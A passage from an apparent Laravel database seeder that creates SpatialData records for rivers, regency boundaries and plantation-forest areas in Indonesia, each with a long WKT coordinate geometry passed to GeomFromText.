119.48925815999999,-5.219915039999999 119.49126408,-5.220262979999999 119.49253092),(-4.2484730399999995 119.61406691999998,-4.24904004 119.61458603999999,-4.249564019999999 119.61482183999999,-4.25025099 119.61488304,-4.25076597 119.61476891999999,-4.25099304 119.61465516,-4.2514460099999996 119.61431891999999,-4.25144799 119.61368603999999,-4.25122299 119.61316692,-4.25077299 119.61265608,-4.250367 119.61225108,-4.2499709999999995 119.61173195999999,-4.249403999999999 119.61087011999999,-4.249124999999999 119.61046583999999,-4.24827 119.60960399999999,-4.2469509599999995 119.60930592,-4.246606979999999 119.60935991999999,-4.2458550299999995 119.60975592,-4.245683039999999 119.60993196,-4.245627959999999 119.61027503999999,-4.24561797 119.61061883999999,-4.24573398 119.61090107999999,-4.24591398 119.61119088,-4.24665396 119.61188496,-4.24698696 119.612061,-4.2475010399999995 119.61257183999999,-4.24785204 119.61297611999998,-4.2484730399999995 119.61406691999998),(0.19535399999999997 119.85560604,0.19334195999999998 119.85537708,0.19202003999999998 119.85532416,0.19109996999999998 119.85537708,0.18972098999999998 119.85561395999999,0.18822698999999998 119.85561395999999,0.18707696999999998 119.85544583999999,0.18615797999999997 119.85562115999998,0.18558503999999998 119.85619392,0.18495297 119.85647615999999,0.18437795999999998 119.85647615999999,0.18374499 119.85619392,0.18328401 119.85556788,0.18264897 119.85488099999999,0.18126899999999999 119.85471288,0.17966096999999998 119.85517116,0.17667702 119.85671987999999,0.17345997 119.85741395999999,0.17035596 119.85736103999999,0.16782597 119.85707916,0.16558398 119.85702515999999,0.16420697999999997 119.85788699999999,0.16294401 119.85829199999999,0.16219602 119.85817716,0.161964 119.85754392,0.16196201999999998 119.85685704,0.16144398 119.85640704,0.16029395999999999 119.85634583999999,0.15879896999999998 119.85612515999999,0.15724296 119.85458399999999,0.15660396 119.85224183999999,0.156654 119.84966999999999,0.157221 119.84686991999999,0.15871202999999998 119.84555087999999,0.15997598999999998 119.84532191999999,0.16095303 119.84532191999999,0.16164297 119.84560416,0.16244703 119.84531399999999,0.16279100999999999 119.84480316,0.16347798 119.84405507999999,0.16457004 119.84382611999999,0.16600698 119.84388012,0.16692596999999998 119.84365116,0.16830297 119.84268203999999,0.16991099999999998 119.84244516,0.17065898999999998 119.84273495999999,0.17146602 119.84352911999999,0.17296298999999998 119.84421491999998,0.17543403 119.84403995999999,0.17974196999999997 119.84288795999998,0.18146501999999998 119.842659,0.18433998 119.84288004,0.18549099 119.84344487999999,0.18727596 119.84452811999999,0.18951902999999998 119.84510015999999,0.19158695999999997 119.84458211999998,0.19285101 119.84429195999999,0.19354104 119.84446007999999,0.19451997 119.84491691999999,0.19596096 119.84640515999999,0.19734399 119.84765615999999,0.19872504 119.84828183999998,0.20022101999999997 119.84867892,0.20160297 119.84959403999999,0.20188998 119.84964803999999,0.20200697999999997 119.85015888,0.20240900999999997 119.85027299999999,0.20304197999999998 119.85038784,0.20401803 119.84998284,0.20493603 119.84924303999999,0.206199 119.84878511999999,0.20734803 119.84861015999999,0.20884302 119.84872392,0.20953296 119.84900687999999,0.20987900999999998 119.84928912,0.21005297999999997 119.84969303999999,0.20999600999999998 119.849976,0.20976695999999997 119.85020388,0.20965203 119.85037992,0.20942297999999998 119.85049403999999,0.20884797 119.85049403999999,0.20833001999999998 119.85037992,0.20787002999999998 119.85026615999999,0.20746799999999999 119.85026615999999,0.20729600999999998 119.85060888,0.20741201999999997 119.85095195999999,0.20787299999999997 119.85146316,0.20839202999999998 119.85192108,0.20868003 119.85226415999999,0.20850902999999998 119.85266087999999,0.20781998999999998 119.85312708,0.20667096 119.85312708,0.20465802 119.85289811999999,0.20276198999999998 119.85290495999999,0.20144195999999998 119.85387408,0.19949102999999999 119.85491196,0.19707903 119.85554484,0.19535399999999997 119.85560604),(4.439193029999999 95.88947291999999,4.44213099 95.88900815999999,4.44287898 95.88888612,4.44391596 95.88871008,4.44570102 95.88807684,4.447257029999999 95.88761099999999,4.4481779999999995 95.88795515999999,4.44840903 95.88893112,4.4482930199999995 95.88927491999999,4.44754503 95.88990815999999,4.446046979999999 95.89008312,4.44477996 95.89002984,4.44408903 95.89015187999999,4.44362796 95.89049496,4.4435709899999996 95.89095287999999,4.44374397 95.89135716,4.444146989999999 95.89198284,4.44460797 95.89279212,4.44437703 95.89347792,4.44408903 95.89376807999999,4.443398009999999 95.89382891999999,4.44311001 95.89382891999999,4.44218904 95.89359995999999,4.44126699 95.89319603999999,4.44028797 95.892624,4.43953899 95.89188383999999,4.43936601 95.89125096,4.4393090399999995 95.89061699999999,4.439193029999999 95.88947291999999),(4.01954499 96.39924588,4.019482979999999 96.39798696,4.019538959999999 96.39746892,4.019650019999999 96.39637812,4.02016599 96.395805,4.020741 96.39563003999999,4.0211440199999995 96.39556884,4.021661969999999 96.39568295999999,4.02223698 96.39568295999999,4.022696969999999 96.39550799999999,4.0231559699999995 96.39521783999999,4.0234989599999995 96.39464616,4.023669959999999 96.39395099999999,4.02389901 96.39331811999999,4.02458796 96.39297504,4.02499098 96.39291383999999,4.02522003 96.39291383999999,4.0260869999999995 96.39394415999999,4.02620301 96.39423396,4.02643404 96.39462995999999,4.02683904 96.39526391999999,4.027184999999999 96.39577512,4.02707403 96.39692711999999,4.02672996 96.39733104,4.0262699699999995 96.39733104,4.025637 96.39727812,4.02483204 96.39733104,4.02437196 96.39762083999999,4.02414399 96.39813996,4.024145969999999 96.39865907999999,4.024376999999999 96.39905508,4.02483798 96.39934487999999,4.025356019999999 96.399513,4.02593202 96.39962784,4.02656499 96.39974195999999,4.02737202 96.40025315999999,4.0279490099999995 96.400764,4.028238989999999 96.40151207999999,4.0284140399999995 96.40208412,4.0286459699999995 96.40271808,4.02876297 96.40351908,4.02865002 96.40397592,4.02813297 96.40449503999999,4.02773103 96.40455587999999,4.0270400099999994 96.40432691999999,4.02657903 96.40409903999999,4.024965959999999 96.40347299999999,4.024216979999999 96.40313712,4.023698039999999 96.40284695999999,4.02318 96.40284695999999,4.022721 96.40313712,4.0224920399999995 96.40354212,4.022033039999999 96.40383084,4.021227 96.40377792,4.02076602 96.40348811999999,4.0204770299999995 96.40286316,4.020129 96.40206108,4.02012801 96.40165716,4.02035598 96.40119888,4.020642 96.40068083999999,4.020927029999999 96.39993311999999,4.020867989999999 96.39924588,4.020579 96.39901692,4.020175979999999 96.39895607999999,4.01954499 96.39924588),(5.20228701 96.82951392,5.20280397 96.82957511999999,5.203836 96.83033003999999,5.20452504 96.830856,5.205438989999999 96.83194716,5.20618104 96.83310707999999,5.20680798 96.83414495999999,5.20743204 96.83564003999999,5.20777197 96.83673083999999,5.20782597 96.83731116,5.207878979999999 96.83811216,5.20747101 96.83879904,5.206086989999999 96.83919503999999,5.2048739699999995 96.83970588,5.20354503 96.84043883999999,5.20192899 96.84106415999999,5.20042302 96.84237707999999,5.19961104 96.84345995999999,5.19862104 96.84512315999999,5.19821199 96.84609984,5.197516019999999 96.84695411999999,5.196935969999999 96.84758015999999,5.19624198 96.84815184,5.1954910199999995 96.84843407999999,5.19399297 96.848541,5.19284196 96.84835811999999,5.19192099 96.84829692,5.19151896 96.84812195999999,5.191118009999999 96.84783216,5.19117903 96.84731303999999,5.19198804 96.84686303999999,5.19308199 96.84686988,5.19434901 96.84676404,5.194926 96.84664883999999,5.195159009999999 96.84630612,5.19504597 96.84596303999999,5.1947019899999995 96.84561203999999,5.19389703 96.84549684,5.192283959999999 96.84548208,5.190957989999999 96.84570312,5.189803019999999 96.84621395999999,5.18910597 96.84724392,5.18875497 96.84816011999999,5.188290029999999 96.84879299999999,5.187363029999999 96.84964799999999,5.185463039999999 96.84963216,5.18339097 96.84944891999999,5.18183703 96.84926603999999,5.180052959999999 96.84891504,5.17832901 96.84838115999999,5.17758399 96.84774791999999,5.17758804 96.84705383999999,5.17811301 96.846138,5.178978989999999 96.84557315999999,5.17984596 96.84517715999999,5.18059404 96.845238,5.181743969999999 96.84564984,5.18277798 96.84605411999999,5.18404401 96.84617616,5.184677969999999 96.84606887999999,5.18525604 96.84572616,5.18554899 96.84486396,5.18532399 96.84406295999999,5.18457897 96.84342215999999,5.1835460399999995 96.84278891999999,5.18262804 96.84220896,5.1820569899999995 96.84145403999999,5.18211702 96.84099612,5.18241204 96.83996615999999,5.182758 96.83973683999999,5.183277029999999 96.83973683999999,5.184081989999999 96.83992008,5.18517198 96.84055296,5.18649399 96.84107999999999,5.187240989999999 96.84131615999999,5.18827797 96.84132407999999,5.188912019999999 96.84115596,5.18914503 96.84069803999999,5.18891904 96.84006516,5.188004009999999 96.83902008,5.187258989999999 96.83838684,5.18634198 96.83757791999999,5.18536899 96.83664696,5.18519898 96.83612783999999,5.1852639599999995 96.83498411999999,5.18549697 96.83441207999999,5.185845 96.83412191999999,5.18618898 96.83424396,5.18682204 96.83435807999999,5.187798 96.83505215999999,5.18842701 96.83557884,5.18951403 96.83684496,5.1902589599999995 96.83754012,5.19152598 96.83749404,5.191873019999999 96.83726508,5.19245604 96.83606015999999,5.193045 96.83393903999999,5.19345504 96.83279388,5.19432696 96.83153496,5.19554304 96.83027603999999,5.19646896 96.82953588,5.196875039999999 96.82913988,5.197914989999999 96.82868196,5.198894999999999 96.82846092,5.20021899 96.82852896,5.200793999999999 96.82864416,5.201598959999999 96.82894116,5.20228701 96.82951392)))')\"),\n 'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Sungai Multi Poly 3',\n 'restricted_area'=> '12947812382132',\n 'type'=> 'HTI',\n 'desc'=> 'data HTI terjadi',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Tim',\n 'city' => 'Balikpapan',\n 'created_by'=> 2,\n 'polygon' => DB::raw(\"GeomFromText('MultiPolygon(((\n 5.0772650399999995 97.59581784,5.077667969999999 97.59628296,5.077898009999999 97.59685499999999,5.0779549799999995 97.59812183999999,5.07761001 97.59926592,5.07737997 97.59978503999999,5.077034009999999 97.60007483999999,5.07657501 97.59995316,5.076 97.59880799999999,5.075655029999999 97.59765599999999,5.075309969999999 97.59638987999999,5.07484998 97.59529907999999,5.0745619799999995 97.59461184,5.07433203 97.59415392,5.074274969999999 97.59374999999999,5.074792019999999 97.59397895999999,5.075424989999999 97.59461184,5.076 97.59513095999999,5.07651804 97.59518388,5.0772650399999995 97.59581784),(5.07519297 97.60518612,5.075998019999999 97.60449204,5.076918989999999 97.60432392,5.0784720299999995 97.60414895999999,5.07944997 97.60432392,5.08100301 97.60495787999999,5.08221 97.60564403999999,5.08312998 97.60599504,5.08404996 97.60627692,5.08439502 97.60651415999999,5.08439502 97.607025,5.08410801 97.60748292,5.08341699 97.60760495999999,5.08249701 97.60783391999999,5.08197897 97.60863491999999,5.08197897 97.60983983999999,5.0821520399999995 97.61052708,5.08215096 97.61110704,5.081518979999999 97.61150411999999,5.080311 97.61110704,5.07881601 97.61058791999999,5.07726297 97.61012315999999,5.07639996 97.61029812,5.0755370399999995 97.61041295999999,5.07427299 97.60995503999999,5.073525 97.609032,5.073410969999999 97.60759703999999,5.07398598 97.60610195999999,5.07519297 97.60518612),(5.02934796 97.50485196,5.02854597 97.50497399999999,5.027970959999999 97.50440196,5.02762599 97.50394404,5.027049 97.50302891999999,5.026815989999999 97.50189203999999,5.026353029999999 97.50063311999999,5.025661019999999 97.49937383999999,5.02439697 97.49823803999999,5.02359201 97.49755115999999,5.02290297 97.49720808,5.02244496 97.49744387999999,5.0222169899999995 97.49778696,5.02256304 97.49836008,5.022792989999999 97.49881008,5.022450989999999 97.49927484,5.02176303 97.49916108,5.02130403 97.49881692,5.020956989999999 97.49790216,5.02118298 97.49710116,5.02186797 97.49630015999999,5.02335801 97.49629187999999,5.024964959999999 97.49697911999999,5.0268050099999995 97.49868803999999,5.028186959999999 97.50051108,5.02888104 97.50222792,5.02934796 97.50485196),(2.46796902 97.82549316,2.4688790099999998 97.82427996,2.47024404 97.82337996,2.4723680399999997 97.82276904,2.47555404 97.82201411999999,2.4767690399999998 97.82231904,2.4776800199999998 97.82321904,2.47843899 97.82442504,2.47813596 97.82502695999999,2.47737699 97.82563787999999,2.4763149899999997 97.82548487999999,2.4751009799999997 97.82488296,2.47373496 97.82443187999999,2.4725210399999997 97.82472996,2.4707009699999998 97.82563787999999,2.47009401 97.82654615999999,2.46933603 97.82759915999999,2.4684249599999997 97.82775108,2.46766599 97.82745408,2.46736197 97.82669807999999,2.46796902 97.82549316)))')\"),\n 'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Batas Kab Multi line',\n 'restricted_area'=> '12947812382132',\n 'type'=> 'HTI',\n 'desc'=> 'data HTI terjadi',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Tim',\n 'city' => 'Balikpapan',\n 'created_by'=> 1,\n 'polygon' => DB::raw(\"GeomFromText('MultiLineString((-1.2810868538730469 121.98955567659038,-1.28124047887319 121.98883680158971,-1.2815838538735098 121.98814230158906,-1.2821264788740152 121.98765530158862,-1.2827956038746384 121.98715780158815,-1.283410603875211 121.98669405158772,-1.2839532288757165 121.9863441765874,-1.2844416038761712 121.98606192658714,-1.2846766038763902 121.98584705158693,-1.2848574788765585 121.98557442658668,-1.2849026038766007 121.9851630515863,-1.2848028538765077 121.98467130158583,-1.2846126038763306 121.98400705158522,-1.2836172288754035 121.98306205158434,-1.2832099788750242 121.98283130158413,-1.2828301038746706 121.98272542658403,-1.2825497288744094 121.98276867658407,-1.282178853874064 121.98305192658432,-1.2817629788736766 121.98353905158478,-1.2814103538733483 121.98402830158524,-1.2809223538728938 121.98493867658608,-1.2806873538726748 121.98539380158651,-1.280434103872439 121.98587180158695,-1.280153853872178 121.98620092658726,-1.2798554788719 121.98642767658747,-1.2794846038715548 121.98651592658756,-1.2791952288712853 121.98651330158755,-1.2789779788710829 121.98647730158753,-1.27853472887067 121.98622242658729,-1.2782451038704004 121.98595830158703,-1.2779374788701139 121.9858070515869,-1.2772229788694485 121.98606480158713,-1.2768432288690947 121.98638130158743,-1.2763638538686484 121.98682330158785,-1.2759388538682526 121.98711667658812,-1.275350978867705 121.98738667658837,-1.274943978867326 121.98742880158841,-1.274645478867048 121.98736980158836,-1.27434685386677 121.98717292658817,-1.2740482288664918 121.98680530158782,-1.2731876038656902 121.98382842658505,-1.273205603865707 121.98350805158475,-1.2733412288658332 121.98325855158453,-1.2735582288660354 121.9830310515843,-1.274001353866448 121.98294292658423,-1.2746438538670464 121.98315380158442,-1.2754127288677626 121.98335367658461,-1.2760279788683355 121.98351892658476,-1.2767244788689842 121.98375217658499,-1.2770502288692875 121.98385830158509,-1.2773487288695655 121.9838716765851,-1.277592978869793 121.98374742658498,-1.2776562288698519 121.98347430158472,-1.2776107288698095 121.98299330158427,-1.2775109788697168 121.98239855158373,-1.2774837288696912 121.98193017658329,-1.2776372288698343 121.98133730158273,-1.2779173538700952 121.98079042658222,-1.2782699788704235 121.9802339265817,-1.2786134788707435 121.97959667658111,-1.2789571038710634 121.97911930158067,-1.2791558538712486 121.97870930158028,-1.2792281038713158 121.97827617657988,-1.2790741038711724 121.97798855157961,-1.2788026038709197 121.97757530157924,-1.2785309788706667 121.97705942657875,-1.2784222288705653 121.9764754265782,-1.2784038538705482 121.97564130157743,-1.2784216038705647 121.97493330157677,-1.2784666038706067 121.97451055157637,-1.2786383538707666 121.9740091765759,-1.2789638538710697 121.97363505157556,-1.2795607288716258 121.97344530157538,-1.280356853872367 121.97340542657534,-1.2838577288756277 121.97390080157581,-1.284273853876015 121.9738928015758,-1.284572353876293 121.9737916765757,-1.2848164788765204 121.97355367657549,-1.2848797288765794 121.97322292657518,-1.2847167288764276 121.97284455157482,-1.2843456038760819 121.97233867657435,-1.283675728875458 121.97123717657333,-1.283594228875382 121.97097392657308,-1.2836574788754411 121.97071155157283,-1.2839106038756767 121.97041630157256,-1.2842542288759968 121.97025905157241,-1.284534728876258 121.97026192657242,-1.2850142288767046 121.97053905157267,-1.2854487288771093 121.97097680157309,-1.2858558538774885 121.97129942657338,-1.2863082288779097 121.97162267657369,-1.2866611038782385 121.97174005157379),(-1.2870047288785584 121.97172030157378,-1.2871947288787353 121.9714246765735,-1.287194353878735 121.97091030157303,-1.2870493538785999 121.97016642657233,-1.2867867288783554 121.96942130157164,-1.286442853878035 121.96876792657103,-1.2860897288777062 121.96810230157041,-1.2858182288774533 121.96769980157003,-1.2851749788768543 121.96536405156786,-1.2851838538768625 121.96478155156731,-1.2851836038768623 121.96438167656694,-1.285328103876997 121.96385780156645,-1.2855993538772497 121.96335705156599,-1.2859247288775526 121.96298192656563,-1.2864222288780158 121.96268892656536,-1.2870914788786392 121.96252255156521,-1.2877789788792795 121.9624143015651,-1.2881859788796586 121.96236030156506,-1.2885929788800377 121.96231667656502,-1.2888824788803073 121.96213592656486,-1.2891084788805176 121.96178355156452,-1.289270978880669 121.96117942656396,-1.2894786038808623 121.96018730156304,-1.2895417288809212 121.95952492656242,-1.289541478880921 121.95878255156173,-1.2895682288809458 121.9581086765611,-1.2896764788810466 121.95748117656052,-1.2897577288811224 121.95676117655985,-1.2898748538812315 121.95587130155901,-1.2898654788812227 121.95487730155808,-1.289711228881079 121.95389342655717,-1.2895659788809437 121.95259017655596,-1.2893212288807159 121.95123942655471,-1.2888679788802937 121.94892830155256,-1.2886326038800746 121.94850380155215,-1.2884153538798722 121.94825080155192,-1.2880624788795436 121.94808805155176,-1.2875106038790296 121.94796955155165,-1.2869588538785157 121.94797717655166,-1.2861718538777827 121.94803942655172,-1.2856563538773027 121.94807005155175,-1.2853307288769993 121.9480218015517,-1.2850954788767803 121.94786017655156,-1.2849777288766706 121.94772192655142,-1.2849686038766621 121.94737955155111,-1.2851944788768725 121.94677517655055,-1.2873997288789263 121.94239280154646,-1.287544353879061 121.94192555154603,-1.287589353879103 121.94129842654544,-1.2874623538789847 121.94050830154471,-1.2871726038787148 121.93999167654422,-1.2869192288784788 121.93943005154371,-1.2866656038782427 121.93892605154323,-1.2865206038781076 121.93830755154266,-1.2865023538780906 121.93775855154215,-1.2865744788781577 121.93725667654168,-1.2869179788784777 121.93650542654098,-1.2873698538788985 121.9356633015402,-1.287686228879193 121.93511730153969,-1.2881382288796142 121.93443505153905,-1.2884997288799507 121.93368367653835,-1.2889426038803633 121.93293317653766,-1.289430853880818 121.93229667653706,-1.2899552288813063 121.93171842653652,-1.2904073538817273 121.93113855153598,-1.2906423538819463 121.93088830153575,-1.2879734788794606 121.92988567653481,-1.2864263538780198 121.9292229265342,-1.2852773538769497 121.92877980153378,-1.2835132288753066 121.92806955153313,-1.2822376038741188 121.92764867653273,-1.280690603872678 121.92720230153232,-1.2789173538710266 121.92668642653183,-1.2775332288697374 121.92625292653143,-1.2760857288683893 121.92593330153113,-1.2745117288669234 121.92556755153079,-1.2719244788645139 121.9252503015305,-1.2702328538629384 121.92521505153047,-1.2686408538614558 121.9252489265305,-1.2667051038596528 121.92513117653039,-1.2653753538584145 121.92505267653031,-1.2633491038565274 121.92495655153023,-1.2618384788551205 121.92491130153019,-1.2604816038538569 121.92494692653021,-1.2596674788530986 121.92498580153026,-1.2589891038524668 121.92507255153033,-1.2582746038518013 121.9252500515305,-1.2575692288511444 121.92558730153081,-1.2568367288504623 121.92607292653126,-1.2561403538498137 121.92667342653182,-1.2552273538489633 121.92804867653311,-1.2527866038466904 121.93198342653677,-1.2515209788455115 121.93397280153862,-1.2510599788450822 121.9348151765394,-1.2504998538445606 121.9363189265408,-1.2500479788441399 121.93734455154176,-1.222916978818872 121.9999968016001),(-1.219364978815564 122.00820555160776,-1.2186057288148568 122.00961242660907,-1.2179094788142084 122.01045842660986,-1.2161463538125665 122.01260792661185,-1.1992563537968364 122.0343436766321,-1.1886594787869673 122.04857917664536,-1.181091228779919 122.05830530165441,-1.1810278537798597 122.0583895516545,-1.180891728779733 122.05690530165312,-1.1807739787796234 122.05651317665274,-1.1805928537794546 122.05596992665224,-1.1804389787793113 122.05563805165193,-1.1801946037790838 122.05524567665157,-1.1800407287789405 122.05497380165131,-1.180013478778915 122.05473267665108,-1.1800403537789401 122.05403855165044,-1.180166978779058 122.05370705165014,-1.1803747287792514 122.05298305164946,-1.1806188537794788 122.0523800516489,-1.1806727287795291 122.05139255164798,-1.1805186037793856 122.05057792664722,-1.1801022287789977 122.04964230164634,-1.1797944787787111 122.04897842664573,-1.179459353778399 122.04795242664477,-1.1792509787782048 122.04710742664399,-1.179124228778087 122.04653405164345,-1.1792142287781706 122.04559905164258,-1.1791869787781453 122.04487517664191,-1.1789787287779514 122.04451255164157,-1.1787977287777829 122.04427142664134,-1.1785534787775553 122.04402980164112,-1.1782186037772435 122.04375805164086,-1.1778296037768812 122.04354630164067,-1.1772777287763672 122.04333467664047,-1.1767348537758615 122.04309317664026,-1.1759206037751033 122.04297142664014,-1.1752873537745134 122.04297105164014,-1.1748623537741176 122.04306105164022,-1.1745548537738313 122.04321192664035,-1.1737047287730396 122.0439985516411,-1.1736323537729723 122.04407442664116,-1.173496728772846 122.04421417664129,-1.1734424787727953 122.04426380164134,-1.1731983537725679 122.0444341766415,-1.1728727287722647 122.04450967664157,-1.1723389787717675 122.04452842664159,-1.1717871037712537 122.04443305164149,-1.1713167287708155 122.04439492664146,-1.1710092287705292 122.04428080164135,-1.1706834787702258 122.0441098016412,-1.1703396037699056 122.04378717664089,-1.1701133537696948 122.04342680164056,-1.1700407287696273 122.0430474266402,-1.1699773537695681 122.0426110516398,-1.1698866037694837 122.04196630163919,-1.1697687287693739 122.04113217663843,-1.1697142287693232 122.04052530163786,-1.1696779787692893 122.04008892663745,-1.1696416037692554 122.0397098016371,-1.1695962287692132 122.03934942663676,-1.169596103769213 122.03883755163629,-1.169659353769272 122.038534051636,-1.1698671037694655 122.03783280163535,-1.1701654787697433 122.03707467663465,-1.1705631037701136 122.03616455163379,-1.1707167287702567 122.03567167663334,-1.170852228770383 122.03512205163283,-1.1709513537704752 122.03417417663194,-1.1708516037703824 122.03332055163115,-1.170417228769978 122.03291342663077,-1.1701911037697672 122.03281830163068,-1.16948535376911 122.03257142663045,-1.1688611037685286 122.03234317663023,-1.1682912287679978 122.03205842662997,-1.1678749787676102 122.03188742662981,-1.1674317287671974 122.03175417662969,-1.1670697287668603 122.03175380162969,-1.1666898537665065 122.03184855162978,-1.1662918537661358 122.03192380162984,-1.1657763537656556 122.03205630162996,-1.1653241037652344 122.03207455162999,-1.165016478764948 122.03205555162997,-1.164527853764493 122.03190330162982,-1.1642383537642234 122.03175130162968,-1.1640483537640465 122.03150467662945,-1.1639307287639369 122.03129630162927,-1.163894353763903 122.03104967662904),(-1.163894353763903 122.03074617662875,-1.1639756037639786 122.03038580162841,-1.164029728764029 122.03010180162815,-1.1640839787640795 122.02977930162785,-1.1640657287640626 122.02936205162746,-1.1640293537640287 122.02890692662703,-1.1636128537636408 122.02786367662607,-1.1631874787632446 122.02738955162562,-1.1625813537626801 122.0269338016252,-1.1621651037622924 122.02651617662481,-1.1620112287621491 122.02625092662456,-1.1619206037620649 122.0258523016242,-1.1618391037619888 122.02553017662389,-1.1616489787618118 122.02509380162348,-1.161250853761441 122.02465717662308,-1.1604183537606656 122.02390767662239,-1.1597306037600252 122.02330030162182,-1.1593324787596544 122.0229586766215,-1.1589163537592668 122.02280680162136,-1.1582468537586432 122.02267355162122,-1.1577582287581882 122.02255942662113,-1.157242728757708 122.02238805162096,-1.1568988537573879 122.02219830162079,-1.156328853756857 122.02191330162053,-1.1553244787559216 122.02100242661967,-1.1545009787551548 122.0199588016187,-1.1541388537548174 122.01938967661818,-1.1538401037545392 122.01870667661754,-1.1537041037544125 122.01806192661694,-1.1533419787540753 122.01707555161602,-1.1530342287537887 122.01637392661536,-1.1526541037534346 122.01593730161495,-1.1522922287530977 122.01572842661476,-1.1516498537524993 122.01560680161465,-1.150681978751598 122.01549230161454,-1.1502296037511766 122.01535905161442,-1.149958228750924 122.01522630161429,-1.1498224787507976 122.01509342661417,-1.1496776037506626 122.01484680161394,-1.1495418537505362 122.0144864266136,-1.14946022875046 122.01408792661323,-1.14946010375046 122.01357605161276,-1.1495594787505525 122.0133106766125,-1.1497674787507464 122.01295067661218,-1.1501472287510999 122.01245780161172,-1.1503912287513272 122.01204092661133,-1.1505087287514366 122.01162405161094,-1.1506081037515292 122.01101717661038,-1.1506077287515288 122.01037267660978,-1.15054435375147 122.01001230160944,-1.1504538537513855 122.00967067660912,-1.1500918537510483 122.00921530160869,-1.1497841037507617 122.00885492660836,-1.1494039787504078 122.00858930160811,-1.149024103750054 122.00839917660794,-1.1481917287492787 122.00817092660772,-1.147730353748849 122.00820842660777,-1.1474229787485628 122.00841680160795,-1.1471426037483017 122.00870092660821,-1.1465548537477543 122.00945905160893,-1.1454156037466934 122.01074742661012,-1.1443122287456657 122.0115809266109,-1.143679103745076 122.01184580161114,-1.1431726037446044 122.01192105161121,-1.1427656037442253 122.01188292661118,-1.1423856037438713 122.01173105161104,-1.1419693537434836 122.01152180161084,-1.1412727287428348 122.01124642661058,-1.1409469787425315 122.01109455161044,-1.1407749787423713 122.01088605161026,-1.14066635374227 122.01062042661,-1.14066635374227 122.0103929266098,-1.140774728742371 122.01010842660953,-1.141027978742607 122.00984317660928,-1.1412902287428512 122.00952092660899,-1.141480103743028 122.00929380160878,-1.141669978743205 122.00904755160855,-1.1417694787432975 122.00885780160836,-1.1417874787433142 122.00861130160814,-1.141787353743314 122.008459676608,-1.1417058537432383 122.00832680160786,-1.1415521037430951 122.00823180160778,-1.1411992287427664 122.00813680160769,-1.1407921037423874 122.00800392660757,-1.1405478537421598 122.0078329266074,-1.140321603741949 122.00758630160718,-1.139878228741536 122.00703592660666,-1.1396156037412917 122.0065235516062,-1.1394074787410977 122.00618230160588,-1.139199353740904 122.00606817660577,-1.1389913537407101 122.0059923016057,-1.1387018537404405 122.00595405160566,-1.1381862287399604 122.00620030160589,-1.1364407287383347 122.0070708016067,-1.1351473537371302 122.00777130160735,-1.1345957287366164 122.00797942660755,-1.13428822873633 122.00811192660767,-1.133989603736052 122.00816880160772,-1.1337816037358583 122.00816842660772))')\"),\n 'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Batas Kab Single line',\n 'restricted_area'=> '12947812382132',\n 'type'=> 'HTI',\n 'desc'=> 'data HTI terjadi',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Tim',\n 'city' => 'Berau',\n 'created_by'=> 3,\n 'polygon' => DB::raw(\"GeomFromText('LineString(-1.1334921037355887 122.00811117660767,-1.1333202287354285 122.00801655160758,-1.1332478537353612 122.00795930160753,-1.1331482287352683 122.00776955160735,-1.1330577287351842 122.00761805160721,-1.133057603735184 122.00725767660687,-1.1331481037352682 122.00703017660666,-1.1333831037354871 122.00646167660614,-1.1339073537359754 122.0055706766053,-1.1342146037362615 122.00485067660463,-1.1343863537364214 122.00441467660423,-1.1344767287365056 122.00405430160389,-1.1345218537365476 122.00369405160356,-1.1345217287365474 122.00348555160336,-1.1344764787365054 122.0033149266032,-1.134422228736455 122.00321992660311,-1.1336531037357387 122.00295055160286,-1.1327756037349213 122.00266542660259,-1.132359478734534 122.00249442660244,-1.1319432287341462 122.00222880160219,-1.131599478733826 122.00196280160195,-1.1313732287336153 122.00167830160167,-1.1312012287334552 122.00141267660143,-1.1310653537333286 122.00110917660115,-1.130992978733261 122.0007488016008,-1.1309023537331768 122.00044467660052,-1.1308841037331598 121.99999930160011,-1.1309562287332269 121.99949780159965,-1.1309562287332269 121.99931530159948,-1.1309742287332436 121.99890280159909,-1.1310192287332856 121.99837717659861,-1.1310189787332854 121.99781630159808,-1.1309646037332348 121.99755280159783,-1.130756603733041 121.99731305159762,-1.1306751037329652 121.99721080159752,-1.1302317287325523 121.99681080159715,-1.129969353732308 121.99662830159697,-1.1297068537320634 121.99643430159679,-1.129489728731861 121.99629705159667,-1.1292636037316506 121.99608030159646,-1.1289287287313388 121.99564655159605)')\"),\n 'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Batas Kab Single line 2',\n 'restricted_area'=> '12947812382132',\n 'type'=> 'HTI',\n 'desc'=> 'data HTI terjadi',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Bar',\n 'city' => 'Pontianak',\n 'created_by'=> 3,\n 'polygon' => DB::raw(\"GeomFromText('LineString(-1.1286118537310434 121.99509867659555,-1.1285303537309677 121.99477755159525,-1.128494103730934 121.99453780159503,-1.1283764787308244 121.99437755159488,-1.1282588537307148 121.99437755159488,-1.128068853730538 121.9944013015949,-1.1279061037303864 121.99444705159495,-1.1276528537301505 121.99455067659504,-1.127471978729982 121.99466555159515,-1.127064978729603 121.99488405159535,-1.1268931037294427 121.99498780159544,-1.1267212287292827 121.99498780159544,-1.1265854787291563 121.99497692659544,-1.1264951037290722 121.99495467659541,-1.1262869787288783 121.99481717659529,-1.1261966037287943 121.9947145515952,-1.126087978728693 121.99447480159498,-1.1259882287286 121.99419967659472,-1.1259972287286084 121.99382242659436,-1.126051353728659 121.99363880159419,-1.126223228728819 121.99338717659396,-1.126458228729038 121.99319205159378,-1.1267296037292907 121.99291705159352,-1.1270279787295685 121.99252680159316,-1.12736247872988 121.9920343015927,-1.1276698537301661 121.99156417659226,-1.1278054787302925 121.99115267659188,-1.1279319787304103 121.99061417659138,-1.127886478730368 121.99001905159082,-1.1277597287302499 121.98954992659039,-1.1274971037300054 121.98910467658997,-1.1273433537298623 121.98896780158984)')\"),\n 'status' => 'a'\n ]);\n\n SpatialData::create([\n 'name'=> 'Sungai Multi Poly 4',\n 'restricted_area'=> '12947812382132',\n 'type'=> 'River',\n 'desc'=> 'data HTI terjadi',\n 'island' => 'Kalimantan',\n 'province' => 'Kal-Bar',\n 'city' => 'Pontianak',\n 'created_by'=> 2,\n 'polygon' => DB::raw(\"GeomFromText('MultiPolygon(((\n 